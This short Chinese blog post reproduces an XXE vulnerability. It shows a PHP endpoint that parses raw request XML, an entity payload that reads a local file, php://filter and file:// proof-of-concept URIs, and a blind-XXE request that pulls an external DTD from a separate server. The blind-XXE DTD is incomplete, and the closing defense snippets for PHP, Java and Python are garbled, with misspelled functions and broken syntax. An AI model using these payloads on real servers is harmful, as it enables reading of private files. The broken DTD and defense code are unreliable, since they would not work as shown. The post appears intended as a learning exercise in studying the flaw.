xxe简单漏洞复现

xml初识

XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素

漏洞复现

php代码:

 

$xml = file_get_contents("php://input");
$data = simplexml_load_string($xml);
echo "
";
print_r($data); //注释掉该语句即为无回显的情况
 ?>

payload:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE XXE [
<!ELEMENT name ANY >
<!ENTITY XXE SYSTEM "file:///D:/test.txt" >]>
<root>
<name>&XXE;</name>
</root>

xxe简单漏洞复现_第1张图片验证:
xxe简单漏洞复现_第2张图片

php中测试POC

file://path/to/file.txt
http://url/file.txt
php://filter/read=convert.base64-encode/resource=test.php

无回显的XXE

请求XML

<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE ANY [
<!ENTITY % xd SYSTEM "http://192.168.0.106/xxe/test.dtd">
    %xd;

服务器dtd

test.dtd :

<!ENTITY % aaaa SYSTEM "file:///D:/test.txt">
<!ENTITY % demo "">
%demo;

xxe简单漏洞复现_第3张图片可以看到读取成功,emmm,可能有点不对,希望大神指正

xxe漏洞防御

PHP:

ibxml_disable_entity_loader(true);

JAVA:

DocumentBuilder Factory dbf =DocumentBuilder Factory. newInstanceo
dbf. setExpandEntity References(false)

Python

from Ixml import etree
xml Data etree parse(xmlSource, etree XMLParser(resolve entities=False))

你可能感兴趣的:(web,php,xml)